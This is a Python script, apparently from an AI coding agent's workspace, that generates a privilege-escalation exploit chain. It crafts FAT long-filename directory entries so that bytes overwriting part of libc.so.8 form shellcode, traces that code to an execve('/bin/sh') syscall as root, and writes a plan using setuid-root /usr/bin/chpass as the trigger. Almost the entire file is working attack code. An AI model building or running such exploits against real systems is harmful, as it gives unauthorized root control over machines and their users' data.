DF-2675 / genplan4.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | #!/usr/bin/env python3 """v15 artifact generation: flow trace + names + runtime plan.""" import json placed = {int(k): v for k, v in json.load(open('/tmp/opencode/df2675/placed.json')).items()} LIBC = open('/tmp/opencode/df2675/libc.so.8', 'rb').read() VICTIM = bytearray(LIBC[0x100000:0x100800]) CREATES = [dict(fid=1, slot0=37, parts=10, namelen=120), dict(fid=2, slot0=48, parts=1, namelen=11), dict(fid=3, slot0=50, parts=2, namelen=25)] PAIRS = [1, 3, 5, 7, 9, 14, 16, 18, 20, 22, 24, 28, 30] WIN = bytearray(VICTIM) for c in CREATES: for k in range(c['parts']): slot = c['slot0'] + k part = c['parts'] - k base = slot * 32 WIN[base + 0] = part | (0x40 if k == 0 else 0) WIN[base + 11] = 0x0F; WIN[base + 12] = 0x00; WIN[base + 13] = 0xCC WIN[base + 26] = 0x00; WIN[base + 27] = 0x00 for i, p in enumerate(PAIRS): pos = (part - 1) * 13 + i if pos == c['namelen']: WIN[base + p] = 0x00; WIN[base + p + 1] = 0x00 elif pos > c['namelen']: WIN[base + p] = 0xFF; WIN[base + p + 1] = 0xFF for k, v in placed.items(): WIN[k] = v # 8.3 record fixed parts (kernel-written): g2's 8.3@49 = cluster/size of file2 # [26..30] = BF 18 3C 40 00 (cluster 0x18BF, size 0x403C), [31]=00 # g3's 8.3@52 = cluster 0x5E54 ('54 5E'), size 0x050F ('0F 05') for off, b in [(49*32+26,0xBF),(49*32+27,0x18),(49*32+28,0x3C),(49*32+29,0x40), (49*32+30,0x00),(49*32+31,0x00), (52*32+26,0x54),(52*32+27,0x5E),(52*32+28,0x0F),(52*32+29,0x05), (52*32+30,0x00),(52*32+31,0x00)]: WIN[off] = b # ---- flow trace FILL_OK = {0x50,0x51,0x52,0x56,0x59,0x5A,0x5E,0x5F,0xF8,0xF9,0xF5,0xFC} pc = 1188 trace = [] for _ in range(200): if pc == 1692: trace.append(f"{pc}: (execve done -- ROOT SHELL)"); break op = WIN[pc] if op == 0x58: trace.append(f"{pc}: pop rax"); pc += 1; continue if op == 0x57 and WIN[pc+1] == 0x5A: trace.append(f"{pc}: push rdi; pop rdx"); pc += 2; continue if op == 0x54 and WIN[pc+1] == 0x5A: trace.append(f"{pc}: push rsp; pop rdx (rdx=rsp)"); pc += 2; continue if op == 0x54 and WIN[pc+1] == 0x5E: trace.append(f"{pc}: push rsp; pop rsi (rsi=&argv)"); pc += 2; continue if op in FILL_OK and op != 0x57: trace.append(f"{pc}: filler {op:#04x}"); pc += 1; continue if op == 0x57: trace.append(f"{pc}: push rdi"); pc += 1; continue if op == 0x31 and WIN[pc+1] == 0xFF: trace.append(f"{pc}: xor edi,edi"); pc += 2; continue if op == 0x6A: trace.append(f"{pc}: push {WIN[pc+1]:#x}"); pc += 2; continue if op == 0x04: trace.append(f"{pc}: add al,{WIN[pc+1]:#x}"); pc += 2; continue if op == 0xEB: d = WIN[pc+1] - 256 if WIN[pc+1] > 127 else WIN[pc+1] trace.append(f"{pc}: jmp {pc+2+d}"); pc += 2 + d; continue if op == 0xBF: imm = int.from_bytes(WIN[pc+1:pc+5], 'little') trace.append(f"{pc}: mov edi,{imm:#x} ('/bin/sh' in chpass rodata)"); pc += 5; continue if op == 0x89 and WIN[pc+1] == 0xE6: trace.append(f"{pc}: mov esi,esp"); pc += 2; continue if op == 0x00 and WIN[pc+1] == 0x42: trace.append(f"{pc}: bridge add [rdx+{WIN[pc+2]:#x}],al"); pc += 3; continue if op == 0x0F and WIN[pc+1] == 0x05: trace.append(f"{pc}: SYSCALL execve('/bin/sh',{{S,0}},NULL) euid=0"); pc += 2; continue trace.append(f"{pc}: UNEXPECTED {op:#04x} {WIN[pc:pc+6].hex()}"); break print("== flow ==") for t in trace: print(" " + t) # ---- names emp = json.load(open('/tmp/opencode/df2675/pairmap_gb.json')) inv = {} for k, v in emp.items(): inv.setdefault(tuple(v), (int(k[:2], 16), int(k[2:], 16))) # extra verified: (EB,73) <- U+73EB (gb ab96) inv[(0xEB, 0x73)] = (0xAB, 0x96) AV = {(a, b) for a, b in json.load(open('/tmp/opencode/df2675/avail_emp.json'))} AV.add((0xEB, 0x73)) names = {} for c in CREATES: arr = {} for k in range(c['parts']): part = c['parts'] - k slot = c['slot0'] + k base = slot * 32 for i, p in enumerate(PAIRS): pos = (part - 1) * 13 + i if pos >= c['namelen']: continue pair = (WIN[base + p], WIN[base + p + 1]) lo, hi = pair if hi == 0 and 0x01 <= lo <= 0x7E and lo != 0x2F: ch = bytes([lo]) elif pair in inv: ch = bytes(inv[pair]) else: raise AssertionError(f"no enc {pair} slot{slot} pos{pos}") arr[pos] = ch name = b''.join(arr[i] for i in range(c['namelen'])) names[c['fid']] = name print(f"name#{c['fid']}: {len(name)} bytes") json.dump({str(k): v.hex() for k, v in names.items()}, open('/tmp/opencode/df2675/names.json', 'w')) plan = dict( victim='/lib/libc.so.8', winoff=0x100000, land=1188, mov=1594, bridge=1599, finale=1690, syscall=1692, trigger='/usr/bin/chpass (setuid-root; stdio fflush at exit)', creates=[ dict(fid=1, name=names[1].hex(), datawrite=False), dict(fid=2, name=names[2].hex(), cluster=0x18BF, size=0x403C, datawrite=True), dict(fid=3, name=names[3].hex(), cluster=0x5E54, size=0x050F, datawrite=True), ], fat=dict(dirs=80, used_lo=82, used_hi=6334, first_free=6335, used2_lo=6336, used2_hi=24147, second_free=24148), window=WIN.hex(), ) json.dump(plan, open('/tmp/opencode/df2675/chain_plan.json', 'w')) print("chain_plan.json written") |